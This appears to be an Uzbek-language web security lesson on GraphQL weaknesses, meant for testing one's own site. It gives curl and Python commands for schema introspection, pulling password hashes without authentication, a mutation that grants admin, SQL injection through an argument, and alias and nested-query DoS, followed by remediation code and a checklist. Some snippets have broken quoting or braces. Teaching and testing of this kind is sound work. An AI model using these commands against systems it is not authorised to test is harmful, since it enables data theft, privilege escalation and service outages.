GraphQL zaifliklari

≡ Barcha darslar
Tezkor 🔎 Indeks
◈

GraphQL zaifliklari

Introspection, batch, injection
Dars 29 O'rta o'z saytingizda
1

Maqsad

bir so'rovda ko'p ma'lumot olish

REST'da 5 ta endpoint kerak bo'lsa, GraphQL'da 1 ta so'rov bilan barchasi so'raladi. Bu qulaylik hujumchiga ham kerak bo'ladi: barcha ma'lumotni, autentifikatsiyasiz ma'lumotni va ichki maydonlarni oladi.

2

Tushuntirish

// introspection — butun sxema
curl -s -X POST https://site.uz/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}' \
  | jq '.data.__schema.types[].name' | head -20

Asosiy zaifliklar

ZaiflikMisol
Introspection ochiqBarcha maydonlarni olish
Field-level auth yo'quser.email — o'zgartirish
Batch/alias1 so'rovda 1000 ta alias → yuk
Injection ichidaArgument orqali SQL/NoSQL
Depth/ComplexityChuqur so'rov → DoS
Introspection'dan introspectionO'z-o'zidan tekshirish
3

Qanday aniqlanadi

# 1) endpoint topish
curl -s -D- -o /dev/null -X POST https://site.uz/graphql \
  -H "Content-Type: application/json" -d '{"query":"{__typename}"}' | head -3
for P in /graphql /api/graphql /gql /graphiql /playground; do
  echo "  $P → $(curl -s -o /dev/null -w '%{http_code}' https://site.uz$P)"
done

# 2) introspection
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name } } }"}' | jq -c .

# 3) developer playground
curl -s -o /dev/null -w "%{http_code}\n" https://site.uz/graphiql
curl -s -o /dev/null -w "%{http_code}\n" https://site.uz/playground
4

Buyruqlar

# 1) introspection — to'liq sxema
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name description fields { name type { name } } } } }"}' \
  | jq -r '.data.__schema.types[] | select(.name|test("User|Admin|Order|Payment")) | .name'

# 2) maxfiy maydonlarni topish (email, passwordHash)
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ __type(name:"User") { fields { name } } }"}' \
  | jq -r '.data.__type.fields[].name'

# 3) authentication siz ma'lumot
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ users { id email role isAdmin passwordHash } }"}' | jq -c .

# 4) mutatsiya — mutation ham auth tekshirilayotganini
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d '{"query":"mutation { updateUser(id:1, input:{role:"admin"}) { id role } }"}' | jq -c .

# 5) injection argument orqali
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ user(id:"1 OR 1=1") { email } }"}' | jq -c .

# 6) alias bilan yuk (DoS)
python3 -c "
import json
q = '{ ' + ' '.join('a%d: user(id:%d){id}' % (i,i) for i in range(1000)) + ' }'
print(json.dumps({'query': q}))" > /tmp/batch.json
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d @/tmp/batch.json -m 15 -o /dev/null -w "HTTP %{http_code}  %{time_total}s\n"

# 7) chuqurlik (nested) DoS
python3 -c "
import json
inner = '{ user(id:1){ posts { comments { author { posts { comments { author { id } } } } } } } }'
print(json.dumps({'query': inner}))" > /tmp/deep.json
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d @/tmp/deep.json -m 15 -o /dev/null -w "HTTP %{http_code}  %{time_total}s\n"

# 8) to'liq sxemani yuklab olish
curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}' | jq -r \
  '.data.__schema.types[].name' | sort | tr '\n' ' '
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
Saxma `User`, `Admin` chop etildi**Introspection ochiq**
`passwordHash` maydoni mavjud**Maxfiy maydon sizib chiqdi**
Auth'siz `users { email }` qaytardi**Field-level auth yo'q — kritik**
`role: admin` mutation qabul qilindi**Mutation himoyasiz**
1000 alias → 5+ sek**Batch DoS**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`introspection disabled`**To'g'ri**
Depth limit 7, complexity 1000**To'g'ri**
Field resolvers auth tekshiradi**To'g'ri**
`GraphiQL` prod da o'chirilgan**To'g'ri**
6

Zararni yopish

1. Introspection

validationRules = [NoSchemaIntrospectionCustomRule];   // prod uchun
// dev/staging da ochiq qoldirish — foydali

2. Field-level avtorizatsiya

const resolvers = {{
  User: {{
    email:      (u, a, c) => {{ requireRole(c, ['admin','user']); return u.email; }},
    passwordHash: () => { throw new Error('field disabled'); }   // umuman chiqarish
  }}
}};

3. Chuqurlik va murakkablik

validationRules: [
  depthLimit(7),                        // 7 dan chuqurroq yo'q
  createComplexityLimitRule(1000),      // murakkablik limiti
  maxAliases(20), maxRootFields(5)
]

4. Yakuniy javobda faqat kerakli maydonlar

curl -s -X POST https://site.uz/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}' | jq -c .
// ham "errors" qaytishi — xabardir
7

Tekshirish ro'yxati

  • Prod da introspection o'chirilgan
  • Depth limit (mas. 7) qo'yilgan
  • Complexity limit va alias limiti bor
  • Har bir field resolver'da auth tekshiriladi
  • `passwordHash`, `token` maydonlari schema'da yo'q
  • Rate limit GraphQL'ga ham qo'llangan
  • `GraphiQL` prod da o'chirilgan
  • Introspection so'rovi bilan sinab ko'rildi